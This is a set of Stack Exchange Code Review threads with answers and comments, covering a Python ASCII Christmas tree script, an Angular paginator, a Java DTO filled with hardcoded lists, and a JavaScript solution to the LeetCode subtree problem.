<p>I hacked a way to print a christmas tree, to use it in the usual seasons greetings email, you know the drill.</p> <p>Next Step is to integrate a multi lines of text in the border left side of the tree. For this i like to use an offset to the <code>TREE['center']</code>.</p> <pre class="lang-py prettyprint-override"><code>""" Seasons Greeting mail - ascii Christmas Tree """ import pprint import shutil import sys # DEFAULT TREE = { 'minimalHeight': 10, 'minimalWidth': 12, 'height': 10, 'width': 12, 'center': 6, 'calc_width': lambda x: x + 2, 'calc_center': lambda x: int(x / 2), 'calc_amount': lambda x: int(x / 2), } (TREE['maximalWidth'], TREE['maximalHeight']) = shutil.get_terminal_size() # FUNKTIONS def line_generic_branch(imageline, amount, left): """ generates a branch line """ line_default(imageline) if left: start_pos = TREE['center'] - TREE['calc_amount'](imageline) for num in range(amount): tree[imageline][start_pos + num] = '_' tree[imageline][start_pos] = '(' else: end_pos = TREE['center'] + TREE['calc_amount'](imageline) for num in range(amount): tree[imageline][end_pos - num] = '_' tree[imageline][end_pos] = ')' def line_default(imageline): tree[imageline][0] = '|' tree[imageline][-1] = '|' def line_0(): for pos in range(1, TREE['width'] - 1): tree[0][pos] = '_' def line_1(): line_default(1) def line_2(): line_default(2) tree[2][TREE['center']] = ')' def line_branch(imageline, left): line_generic_branch(imageline, imageline, left) def line_last_branch(imageline, left): line_generic_branch(imageline, TREE['calc_amount'](imageline), left) def line_first_trunk(imageline): line_default(imageline) if imageline % 2: tree[imageline][TREE['center']] = '(' elif not imageline % 2: tree[imageline][TREE['center']] = ')' def line_bottom_trunk(imageline): line_default(imageline) if imageline % 2: tree[imageline][TREE['center'] - 1] = '(' tree[imageline][TREE['center']] = '.' elif not imageline % 2: tree[imageline][TREE['center'] + 1] = ')' tree[imageline][TREE['center']] = '.' def line_last(imageline): line_default(imageline) for pos in range(1, TREE['width'] - 1): tree[imageline][pos] = '_' # INIT tree = [] imageline = 0 if len(sys.argv) &gt; 1: try: TREE['height'] = int(sys.argv[1]) except TypeError: raise TypeError("Only Integers are allowed not {}".format(sys.argv[1])) if TREE['height'] &lt; TREE['minimalHeight']: raise ValueError("given Height is to less. MIN {}".format( TREE['minimalHeight'])) if TREE['height'] &gt; TREE['maximalHeight']: raise ValueError("given Height is to much. MAX {}".format( TREE['maximalHeight'])) TREE['width'] = TREE['calc_width'](TREE['height']) TREE['center'] = TREE['calc_center'](TREE['width']) # MAIN tree = [[' ' for x in range(TREE['width'])] for y in range(TREE['height'])] """lets Draw the lines""" while imageline &lt;= TREE['height'] - 4: try: globals()['line_' + str(imageline)]() except KeyError: left = False if imageline % 2: left = True if imageline &lt; TREE['height'] - 4: line_branch(imageline, left) elif imageline == TREE['height'] - 4: line_last_branch(imageline, left) imageline += 1 ## add footer line_first_trunk(TREE['height'] - 3) line_bottom_trunk(TREE['height'] - 2) line_last(TREE['height'] - 1) for nr, line in enumerate(tree): # print("{0:2d}".format(nr), ''.join(line)) print(''.join(line)) </code></pre> <p><a href="https://github.com/mbenecke/christmas_tree" rel="nofollow noreferrer">https://github.com/mbenecke/christmas_tree</a></p> <p>It workes fine, so far. Here an Example:</p> <pre class="lang-bsh prettyprint-override"><code>Di Nov 05 11:08:36 (master)&gt; python christmastree.py 15 _______________ | | | ) | | (__ | | ___) | | (____ | | _____) | | (______ | | _______) | | (________ | | _________) | | (____ | | ) | | (. | |_______________| </code></pre> <p>But i am not a skilled coder, so i need someone who give me feedback to my Style. <strong>What I want reviewed:</strong></p> <ul> <li>Am I reinventing the wheel? I searched thoroughly but couldn't find anything similar.</li> <li>Code style.</li> <li>Is it pythonic?</li> <li>Is it readable?</li> <li>Hopefully not over engineered, but slim enough to be proud of it.</li> </ul>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T12:01:04.280", "Id": "452475", "Score": "0", "body": "Hi welcome to code review. Please paste the actual code into the body of your question." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T12:05:27.923", "Id": "452479", "Score": "0", "body": "done, but as already statet in the question, i asume it is too large." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T12:35:14.673", "Id": "452484", "Score": "2", "body": "130 lines of code are not really considered as excessive/\"to much\" here on Code Review." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T12:39:53.463", "Id": "452485", "Score": "1", "body": "length isn't an issue unless what you really want is Code Golf, like [this christmas tree](https://codegolf.stackexchange.com/questions/4244/code-golf-christmas-edition-how-to-print-out-a-christmas-tree-of-height-n). But your code looks perfectly suitable for Code Review." } ]
[ { "body": "<p>Out of your defaults, only the minimal height have some relevance. The others can be deduced from it or are fixed computations that can be baked into the logic of a function.</p>\n\n<p>I will also strongly suggest to use <a href=\"https://docs.python.org/3/library/argparse.html\" rel=\"noreferrer\"><code>argparse</code></a> for command-line arguments manipulation instead of manually trying to perform the conversion and range-checking. It is a bit overkill for a single argument here, but as soon as you will add more it will become way more readable and maintainable.</p>\n\n<hr>\n\n<p>Your various branch construction logic is scattered all over the place and would benefit for a <a href=\"https://stackoverflow.com/questions/1756096/understanding-generators-in-python\">generator</a> that construct each branch incrementally. The caller would then only take out the amount of branch needed and potentially cut out the last one in half before adding the trunk.</p>\n\n<p>Going further, centering the tree inside the greeting card can be delegated to a string formatting function such as <a href=\"https://docs.python.org/3/library/stdtypes.html#str.center\" rel=\"noreferrer\"><code>str.center</code></a> or using the <a href=\"https://docs.python.org/3/library/string.html#format-specification-mini-language\" rel=\"noreferrer\">alignment specification of the string templating mini-language</a>.</p>\n\n<hr>\n\n<p>Lastly do not put code at the top-level of your module, it makes it harder to test or reuse it. Use an <a href=\"https://stackoverflow.com/questions/419163/what-does-if-name-main-do\"><code>if __name__ == '__main__'</code></a> guard instead.</p>\n\n<p>Proposed improvements:</p>\n\n<pre><code>\"\"\" Seasons Greeting mail - ascii Christmas Tree \"\"\"\n\nimport argparse\nimport shutil\n\n\nMINIMAL_HEIGHT = 10\n\n\ndef command_line_parser():\n term_width, term_height = shutil.get_terminal_size()\n range_repr = f'[{MINIMAL_HEIGHT}-{term_height}]'\n\n parser = argparse.ArgumentParser(description=__doc__)\n parser.add_argument(\n '--height', '--tree-height', metavar=range_repr, type=int,\n choices=range(MINIMAL_HEIGHT, term_height+1), default=MINIMAL_HEIGHT,\n help=f'Height of the resulting tree including the trunk.')\n\n return parser\n\n\ndef branches():\n yield ')'\n branch_left = '(__'\n branch_right = '___)'\n while True:\n yield branch_left\n branch_left += '__'\n yield ' ' + branch_right # Pad with space to get proper centering\n branch_right = '__' + branch_right\n\n\ndef tree(height):\n branches_iterator = branches()\n branch = next(branches_iterator)\n for _ in range(height - 3): # Remove last (half) branch and trunk\n yield branch\n branch = next(branches_iterator)\n\n # Cut the branch in half\n width = len(branch)\n half_width = width // 2\n\n if branch.startswith('('):\n yield branch[:half_width] + ' ' * (width - half_width)\n yield ')'\n yield '(.'\n else:\n yield ' ' * (width - half_width) + branch[half_width + 1:]\n yield '('\n yield '.)'\n\n\ndef card(card_size):\n border = '_' * card_size\n yield f' {border} '\n yield enclose_in_borders('', card_size)\n for line in tree(card_size - 3): # Remove header and footer lines\n yield enclose_in_borders(line, card_size)\n yield enclose_in_borders(border, card_size)\n\n\ndef enclose_in_borders(line, width):\n return f'|{line:^{width}}|'\n\n\nif __name__ == '__main__':\n args = command_line_parser().parse_args()\n print('\\n'.join(card(args.height)))\n</code></pre>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-12-23T07:22:13.853", "Id": "458667", "Score": "0", "body": "I didn't get the `return f'|{line:^{width}}|'`, so i had to check the [PEP 498](https://www.python.org/dev/peps/pep-0498/#format-specifiers) and [PEP 3101](https://www.python.org/dev/peps/pep-3101/#standard-format-specifiers)" } ], "meta_data": { "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T16:42:17.463", "Id": "231905", "ParentId": "231881", "Score": "7" } } ]
{ "AcceptedAnswerId": "231905", "CommentCount": "4", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T11:59:00.453", "Id": "231881", "Score": "5", "Tags": [ "python", "ascii-art" ], "Title": "Pythonic way to draw ascii christmas tree?" }
231881
<p>I have written an Angular component for pagination. It works like this:</p> <p><strong>page count &lt; 12</strong></p> <ul> <li>all pages are shown</li> </ul> <p>Example:</p> <pre><code>&lt; 1 2 *3* 4 5 6 &gt; </code></pre> <p><strong>page count >= 12</strong></p> <ul> <li>first and last pages are shown</li> <li>"..." is used for hidden pages</li> <li>the current page is centered</li> <li>around the center 3 more pages are shown on the left and right</li> </ul> <p>Example:</p> <pre><code>&lt; 1 … 46 47 48 *49* 50 51 52 … 100 &gt; </code></pre> <h3>paginator.component.ts</h3> <pre><code>import { Component, OnChanges, Input, Output, EventEmitter } from '@angular/core'; @Component({ selector: 'app-paginator', templateUrl: './paginator.component.html', styleUrls: ['./paginator.component.less'] }) export class PaginatorComponent implements OnChanges { /** * Inputs: * numberOfItems: the number of items that will be paginated * itemsPerPage: the number of items displayed on one page * currentPage: the page the user has currently selected * loop: make it possible to loop through pages using prev/ next buttons */ @Input() numberOfItems: number; @Input() itemsPerPage: number; @Input() currentPage: number = 1; @Input() loop: boolean = false; // emits the current page number @Output() pageChange: EventEmitter&lt;number&gt; = new EventEmitter&lt;number&gt;(); /** * number of pages is calculated by number of items and items per page * pages is an array that holds the actual values for the pagination */ numberOfPages: number = 0; pages: Array&lt;number&gt; = []; constructor() { } // when input changes, update the pagination ngOnChanges() { this.numberOfPages = Math.ceil(this.numberOfItems / this.itemsPerPage); this.updatePages(); if (this.currentPage &gt; this.numberOfPages) { this.goToPage(1); } } // fills the pages array with the actual numbers private updatePages(): void { // if there are no pages create an emtpy array if (this.numberOfPages === 0) { this.pages = []; return; } // if all pages fit into the view simply create an array if (this.numberOfPages &lt; 12) { this.pages = Array.from({length: this.numberOfPages}, (v, k) =&gt; ++k); return; } // if there are more pages then fit into the view this.pages = []; // add first page this.pages.push(1); // get start value for the elements in the middle const start = this.currentPage &lt; 6 ? 2 : this.currentPage &gt; this.numberOfPages - 5 ? this.numberOfPages - 9 : this.currentPage - 4; const end = start + 9; // loop through all items in the middle (except first and last page) for (let i = start; i &lt; end; ++i) { // if the second or second to last page are "not connected", add `null` instead of the page nmber // null will be replaced with '...' in the template if ( (i === start &amp;&amp; this.currentPage &gt; 6) || (i === end - 1 &amp;&amp; this.currentPage &lt; this.numberOfPages - 5) ) { this.pages.push(null); continue; } this.pages.push(i); } // add last page this.pages.push(this.numberOfPages); } onPageChange(): void { this.updatePages(); this.pageChange.emit(this.currentPage); } // goes directly to a page number goToPage(page: number): void { this.currentPage = page; this.onPageChange(); } // goes to the previous page goToPrevPage(): void { const next = this.currentPage - 1; if (next &gt; 0) { this.goToPage(next); return; } if (this.loop === false) { return; } this.goToPage(this.numberOfPages); } // goes to the next page goToNextPage(): void { const next = this.currentPage + 1; if (next &lt;= this.numberOfPages) { this.goToPage(next); return; } if (this.loop === false) { return; } this.goToPage(1); } } </code></pre> <h3>paginator.component.html</h3> <pre><code>&lt;ul *ngIf="numberOfPages &gt; 0"&gt; &lt;li&gt; &lt;a [ngClass]="{'disabled': numberOfPages === 1 || (loop === false &amp;&amp; currentPage === 1)}" (click)="goToPrevPage()"&gt;&amp;lt;&lt;/a&gt; &lt;/li&gt; &lt;li *ngFor="let page of pages"&gt; &lt;a [ngClass]="{'active': currentPage === page} (click)="goToPage(page)" *ngIf="page; else placeholder"&gt; {{ page }} &lt;/a&gt; &lt;ng-template #placeholder&gt;...&lt;/ng-template&gt; &lt;/li&gt; &lt;li&gt; &lt;a [ngClass]="{'disabled': numberOfPages === 1 || (loop === false &amp;&amp; currentPage === numberOfPages)}" (click)="goToNextPage()"&gt;&amp;gt;&lt;/a&gt; &lt;/li&gt; &lt;/ul&gt; </code></pre> <h3>Example of how to use it</h3> <pre><code>&lt;app-paginator [numberOfItems]="127" [itemsPerPage]="10" [(currentPage)]="1" (pageChange)="onPageChange()" &gt;&lt;/app-paginator&gt; </code></pre> <h3>My concerns</h3> <p>… are mostly about the <code>updatePages()</code> method. Is it too complex? How can I optimize the use of all these magic numbers? For example, later I want to make it easily adjustable to say "<em>show current plus <code>1</code> or <code>2</code> elements left and right to the current page"</em> instead if the fixed <code>3</code> items currently.</p> <p>But I'm also looking for answers to these:<br> Is the performance of this code good? Are variable and method names clear? Should I combine the <code>goToPrevPage()</code> and <code>goToNextPage()</code> methods?</p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T10:48:29.243", "Id": "452655", "Score": "0", "body": "Can you please add comments where ever possible to help us understand your intentions(especially in `updatePages()`, which can help in simplifying the logic." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T11:07:23.863", "Id": "452657", "Score": "0", "body": "@shaktimaan Thanks for your feedback. I already updated the question. Hopefully, this is helpful." } ]
[]
{ "AcceptedAnswerId": null, "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T12:06:46.163", "Id": "231883", "Score": "0", "Tags": [ "javascript", "html", "typescript", "pagination", "angular-2+" ], "Title": "Angular pagination component" }
231883
<p>I have a class <code>MassiveDTO</code> that contains lists. At some point in the project, I need to generate an object of this class, that will contain some hardcoded data. I would like to know if there is a better way (or a design pattern) to populate those lists with known data. </p> <p>With the method <code>generateLists</code> I populate them and I use them later on. Keep in mind, I need this class not to be static because I reuse it on the project.</p> <p><code>MassiveDTO</code> class</p> <pre><code>public class MassiveDTO { private List&lt;String&gt; company = new ArrayList&lt;&gt;(); private List&lt;String&gt; partners = new ArrayList&lt;&gt;(); private List&lt;String&gt; biodata = new ArrayList&lt;&gt;(); public MassiveDTO(){} public MassiveDTO(List&lt;String&gt; company, List&lt;String&gt; partners, List&lt;String&gt; biodata) { super(); this.company = company ; this.partners = partners ; this.biodata = biodata; } /** Getters and Setters **/ public List&lt;String&gt; getCompany() { return company; } public void setCompany(List&lt;String&gt; company) { this.company = company; } public List&lt;String&gt; getPartners() { return partners; } public void setPartners(List&lt;String&gt; partners) { this.partners = partners; } public List&lt;String&gt; getBiodata() { return biodata; } public void setBiodata(List&lt;String&gt; biodata) { this.biodata = biodata; } public void generateLists(){ /** Company**/ company.add("X0788"); company.add("X0192"); /** Partners **/ partners.add("X0081"); /** Biodata**/ biodata.add("X0913"); } } </code></pre> <p>My first idea is to create another static class that will extend <code>MassiveDTO</code> in order to reuse those lists, and that class will be static because I will only need it to contain those specific lists with their data. </p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T12:48:26.493", "Id": "452486", "Score": "2", "body": "Greetings, you should use data files for this, not code. This way you dont have recompile every time the static data changes. If you dont want this question closed, you should add the getters and setters, because otherwise this is not-working (or at least pointless) code." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T12:51:15.740", "Id": "452489", "Score": "0", "body": "@konijn You are absolutly correct, I just added them" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T13:28:25.593", "Id": "452495", "Score": "0", "body": "What do you mean with \"reuse it on the project\"? It does not sound like something that would normally prevents fields from being static." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T13:44:19.577", "Id": "452500", "Score": "0", "body": "@TorbenPutkonen this class is being used as a request body for example" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T01:25:20.190", "Id": "452601", "Score": "0", "body": "What's the class really being used for? `MassiveDTO` obviously isn't a good name. It's really hard to suggest alternatives without the real scenario. What if there's an entirely different, better approach to the overall problem?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-09T22:10:39.840", "Id": "453106", "Score": "0", "body": "I think what everyone is trying to ask is: When you say \"hard-coded data\", do you mean those 3 lists are completely unchangeable?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-11T11:03:54.693", "Id": "453232", "Score": "0", "body": "@drekbour Yes, they won't change ever." } ]
[ { "body": "<p>There are following issues with such approach:</p>\n\n<ol>\n<li>If you call <code>getBiodata()</code> before <code>generateLists()</code> you will get empty list.</li>\n<li>User of this class should know internal implementation (<code>generateLists()</code> breaks encapsulation).</li>\n<li>If you use setters after <code>generateLists()</code> you will get the state without filled data.</li>\n</ol>\n\n<p>I would suggest following:</p>\n\n<ol>\n<li>Create dedicated private method <code>init()</code> and use it in constructors.</li>\n<li>Remove setters, make the lists final.</li>\n<li>Return copy of the lists, it will protect state of the class from unexpected modifications.</li>\n<li>Add dedicated methods for lists modifications. </li>\n</ol>\n\n<p>Have a look at the following code:</p>\n\n<pre><code>public class MassiveDTO {\n private final List&lt;String&gt; company;\n private final List&lt;String&gt; partners;\n private final List&lt;String&gt; biodata;\n\n public MassiveDTO() {\n this(new ArrayList&lt;&gt;(), new ArrayList&lt;&gt;(), new ArrayList&lt;&gt;());\n }\n\n public MassiveDTO(List&lt;String&gt; company, List&lt;String&gt; partners, List&lt;String&gt; biodata) {\n super();\n this.company = company;\n this.partners = partners;\n this.biodata = biodata;\n init();\n }\n\n private void init() {\n company.add(\"X0788\");\n company.add(\"X0192\");\n partners.add(\"X0081\");\n biodata.add(\"X0913\");\n }\n\n public List&lt;String&gt; getCompany() {\n return new ArrayList&lt;&gt;(company);\n }\n\n public List&lt;String&gt; getPartners() {\n return new ArrayList&lt;&gt;(partners);\n }\n\n public List&lt;String&gt; getBiodata() {\n return new ArrayList&lt;&gt;(biodata);\n }\n\n public MassiveDTO addPartner(String partner) {\n partners.add(partner);\n return this;\n }\n\n public MassiveDTO addCompany(String comp) {\n company.add(comp);\n return this;\n }\n\n public MassiveDTO addBiodata(String bio) {\n biodata.add(bio);\n return this;\n }\n}\n</code></pre>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-11T11:05:08.017", "Id": "453233", "Score": "0", "body": "I get it, but I expected something more..elegant I must say? Like a design pattern that handles data." } ], "meta_data": { "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-09T09:34:39.030", "Id": "232092", "ParentId": "231886", "Score": "0" } }, { "body": "<p>So you need to separate the construction of that class from the class itself? This is the <a href=\"https://www.oodesign.com/factory-pattern.html\" rel=\"nofollow noreferrer\">Factory Pattern</a>.</p>\n\n<h3>Data class</h3>\n\n<p>Boil down to your DTO to ... well the <em>data</em>.</p>\n\n<pre class=\"lang-java prettyprint-override\"><code>public class MassiveDTO {\n private final List&lt;String&gt; company;\n private final List&lt;String&gt; partners;\n private final List&lt;String&gt; biodata;\n\n /**\n * @see MassiveDTOBuilder\n */\n MassiveDTO(List&lt;String&gt; company, List&lt;String&gt; partners, List&lt;String&gt; biodata) {\n this.company = company;\n this.partners = partners;\n this.biodata = biodata;\n }\n ... getters only\n}\n</code></pre>\n\n<h3>Factory Pattern</h3>\n\n<p>Then have a second class, <code>MassiveDTOFactory</code>, that calls that constructor with suitable fixed values.</p>\n\n<pre class=\"lang-java prettyprint-override\"><code>public class MassiveDTOFactory {\n public static MassiveDTO create() {\n return new MassiveDTO(\n List.of(\"X0788\", \"X0192\"), // Here we use Java 9 immutable collections\n List.of(\"X0081\"),\n List.of(\"X0913\")\n );\n }\n}\n</code></pre>\n\n<h3>Fluent Builder Pattern</h3>\n\n<p>If you wish more flexibility on the values then a <a href=\"https://dzone.com/articles/fluent-builder-pattern\" rel=\"nofollow noreferrer\">Fluent Builder</a> is for you. Something like this: </p>\n\n<pre class=\"lang-java prettyprint-override\"><code>public class MassiveDTOBuilder {\n private List&lt;String&gt; companies = new ArrayList&lt;&gt;();\n private List&lt;String&gt; partners = new ArrayList&lt;&gt;();\n private List&lt;String&gt; biodata = new ArrayList&lt;&gt;();\n\n public static MassiveDTOBuilder massiveDto() {\n return new MassiveDTOBuilder();\n }\n\n private MassiveDTOBuilder() {\n }\n\n public MassiveDTOBuilder withCompany(String... items) {\n for (String i : items) {\n companies.add(i);\n }\n return this;\n }\n\n public MassiveDTOBuilder withPartner(String... items) {\n for (String i : items) {\n partners.add(i);\n }\n return this;\n }\n\n public MassiveDTOBuilder withBiodata(String... items) {\n for (String i : items) {\n biodata.add(i);\n }\n return this;\n }\n\n public MassiveDTO build() {\n return new MassiveDTO(\n Collections.unmodifiableList(companies),\n Collections.unmodifiableList(partners),\n Collections.unmodifiableList(biodata)\n );\n }\n}\n</code></pre>\n\n<p>Which can used like:</p>\n\n<pre class=\"lang-java prettyprint-override\"><code>MassiveDTO m = massiveDto()\n .withCompany(\"X0788\", \"X0192\")\n .withPartner(\"X0081\")\n .withBiodata(\"X0913\")\n .build();\n</code></pre>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-13T09:07:41.447", "Id": "453578", "Score": "0", "body": "A lot of useful information, thanks very much." } ], "meta_data": { "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-11T18:02:52.017", "Id": "232199", "ParentId": "231886", "Score": "2" } }, { "body": "<p>OK, so what I understand, class <code>MassiveDTO</code> will be instantiated sometimes in your application, but those 3 lists can be static and won't change. So solution is create classes with static hard coded lists (3 classes) and just use static reference them in <code>MassiveDTO</code>:</p>\n\n<pre><code>public class MassiveDTO {\n\nprivate List&lt;String&gt; company = CompanyDataHolder.COMPANY_LIST;\nprivate List&lt;String&gt; partners = PartnersDataHolder.PARTNERS_LIST;\nprivate List&lt;String&gt; biodata = BiodataHolder.BIODATA_LIST;\n\n// you probably dont even need setters\npublic List&lt;String&gt; getCompany() {\n return company == null ? Collections.emptyList() : company;\n}\n\npublic void setCompany(List&lt;String&gt; company) {\n this.company = company;\n}\n\npublic List&lt;String&gt; getPartners() {\n return partners == null ? Collections.emptyList() : partners;\n}\n\npublic void setPartners(List&lt;String&gt; partners) {\n this.partners = partners;\n}\n\npublic List&lt;String&gt; getBiodata() {\n return biodata == null ? Collections.emptyList() : biodata;\n}\n\npublic void setBiodata(List&lt;String&gt; biodata) {\n this.biodata = biodata;\n}\n}\n</code></pre>\n\n<p>And static lists (that can be compiled and won't change)</p>\n\n<pre><code>public final class BiodataHolder {\n\n public static final List&lt;String&gt; BIODATA_LIST;\n\n static {\n List&lt;String&gt; data = new ArrayList&lt;&gt;();\n data.add(\"Biodata 1\");\n data.add(\"Biodata 2\");\n // ...\n data.add(\"Biodata 100\");\n BIODATA_LIST = Collections.unmodifiableList(data);\n }\n}\n</code></pre>\n\n<pre><code> public final class PartnersDataHolder {\n\n public static final List&lt;String&gt; PARTNERS_LIST;\n\n static {\n List&lt;String&gt; data = new ArrayList&lt;&gt;();\n data.add(\"Partner 1\");\n data.add(\"Partner 2\");\n // ...\n data.add(\"Partner 100\");\n PARTNERS_LIST = Collections.unmodifiableList(data);\n }\n}\n</code></pre>\n\n<pre><code> public final class CompanyDataHolder {\n\n public static final List&lt;String&gt; COMPANY_LIST;\n\n static {\n List&lt;String&gt; data = new ArrayList&lt;&gt;();\n data.add(\"Company 1\");\n data.add(\"Company 2\");\n // ...\n data.add(\"Company 100\");\n COMPANY_LIST = Collections.unmodifiableList(data);\n }\n}\n</code></pre>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-13T09:07:17.243", "Id": "453577", "Score": "1", "body": "This seems a clear way to populate them, apprecite it." } ], "meta_data": { "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-13T07:49:59.683", "Id": "232306", "ParentId": "231886", "Score": "1" } } ]
{ "AcceptedAnswerId": "232199", "CommentCount": "7", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T12:26:29.653", "Id": "231886", "Score": "1", "Tags": [ "java", "object-oriented", "linked-list" ], "Title": "Populating Lists with harcoded data" }
231886
<p>I was doing this algo on leetcode: <a href="https://leetcode.com/problems/subtree-of-another-tree/" rel="nofollow noreferrer">https://leetcode.com/problems/subtree-of-another-tree/</a></p> <p><strong>Question:</strong> Given two non-empty binary trees s and t, check whether tree t has exactly the same structure and node values with a subtree of s. A subtree of s is a tree consists of a node in s and all of this node's descendants. The tree s could also be considered as a subtree of itself.</p> <p>For which I wrote this solution </p> <pre><code>var isSubtree = function(s, t) { const reduceMainTreeToString = JSON.stringify(s) const reduceGivenTreeToString = JSON.stringify(t) if (reduceMainTreeToString.includes(reduceGivenTreeToString)) return true else return false }; </code></pre> <p>I was super confident that it should be good performance and memory wise but unfortunately, I wasn't even able to cross 50% mark (though I was able to have 100% more memory efficient code). </p> <p>This is how <strong>input s</strong> looks like </p> <pre><code>TreeNode { val: 3, right: TreeNode { val: 5, right: null, left: null }, left: TreeNode { val: 4, right: TreeNode { val: 2, right: null, left: null }, left: TreeNode { val: 1, right: null, left: null } } } </code></pre> <p>And this is how <strong>input t</strong> looks like </p> <pre><code>TreeNode { val: 4, right: TreeNode { val: 2, right: null, left: null }, left: TreeNode { val: 1, right: null, left: null } } </code></pre> <p>This is the constructor:</p> <pre><code>/** * Definition for a binary tree node. * function TreeNode(val) { * this.val = val; * this.left = this.right = null; * } */ </code></pre> <p>Can someone please suggest to me how I can improve the above code? </p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T13:21:54.077", "Id": "452493", "Score": "0", "body": "Consider a main tree with a hundred thousand nodes, and a subtree of 3 nodes. It cannot be fast to access a hundred thousands nodes for no reason." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T16:26:29.190", "Id": "452520", "Score": "0", "body": "Also, actually, can you provide us with the Constructor of Treenode?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T16:33:27.933", "Id": "452521", "Score": "0", "body": "@konijn They haven't shared the constructor for the tree node." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T16:39:44.857", "Id": "452522", "Score": "0", "body": "Its actually in comments on the site, added it to your question." } ]
[ { "body": "<p>I was just about to post on your previous version of this question when you pulled it. As you have changed the code my old answer is mute apart from a few points;</p>\n\n<p>The 100% memory efficient is the default value when leetcode has not collect the required minimum stats to provide comparative memory use.</p>\n\n<p>The performance result can vary significantly submitting the very same code. Submit the code several times and you may get a much better score.</p>\n\n<p>The snippet below completed in 62ms and was rated above 99.78% of JavaScript submissions. And got the bogus 100% memory score.</p>\n\n<pre><code>var isNodeEqual = function(a, b) {\n const leftA = a.left !== null, leftB = b.left !== null;\n const rightA = a.right !== null, rightB = b.right !== null;\n if (leftA !== leftB || rightA !== rightB) { return false }\n if ((leftA &amp;&amp; a.left.val !== b.left.val) || \n (rightA &amp;&amp; a.right.val !== b.right.val)) { return false }\n return (leftA ? isNodeEqual(a.left, b.left) : true) &amp;&amp; \n (rightA ? isNodeEqual(a.right, b.right) : true);\n}\nvar isSubtree = function(s, t) {\n const stack = [s];\n while (stack.length) {\n const node = stack.pop();\n if (node.val === t.val &amp;&amp; isNodeEqual(node, t)) { return true }\n node.left !== null &amp;&amp; stack.push(node.left);\n node.right !== null &amp;&amp; stack.push(node.right);\n }\n return false;\n}\n</code></pre>\n\n<p>Rather than full recursion I used a stack to iterate the main tree, and recursion to test for matching sub tree.</p>\n\n<p>I also avoided truthy and falsey statements as they introduced coercion overhead when testing for <code>null</code> or <code>Object</code> eg <code>if(node.left) {</code> is slower than <code>if(node.left !== null) {</code></p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-26T11:59:57.980", "Id": "455237", "Score": "0", "body": "Question, why does this code `divisor < 0 && divisor = mod(divisor) ` says invalid lefthand side in assignment and this does not `node.left !== null && stack.push(node.left);`. Here mod function just converts negative number to positive" } ], "meta_data": { "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T16:36:03.077", "Id": "231904", "ParentId": "231887", "Score": "4" } }, { "body": "<p>A really short style review;</p>\n\n<ul>\n<li><code>var isSubtree = function(</code> should be <code>function isSubTree(</code>, dont use flat arrow syntax unless you are declaring an inline function, or code golfing.</li>\n<li>You should only use <code>stringify</code> on the matching node, not the entire tree if you want to make this faster, though really you should avoid <code>stringify</code> altogether like Blindman69 if you want this code to be really fast.</li>\n<li><p><code>String.include</code> already returns a boolean so</p>\n\n<p><code>if (reduceMainTreeToString.includes(reduceGivenTreeToString)) return true\nelse return false</code></p>\n\n<p>becomes</p>\n\n<p><code>return reduceMainTreeToString.includes(reduceGivenTreeToString);</code></p>\n\n<p>this has the added advantage of not skipping curly braces in that <code>if</code> statement</p></li>\n</ul>\n\n<p>I was in the middle of writing a rewrite, but Blindman67 beat me to it ;)</p>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T16:53:09.017", "Id": "231907", "ParentId": "231887", "Score": "2" } } ]
{ "AcceptedAnswerId": "231904", "CommentCount": "4", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T13:00:18.163", "Id": "231887", "Score": "3", "Tags": [ "javascript", "tree" ], "Title": "Performance Improvement for Subtree for another tree" }
231887
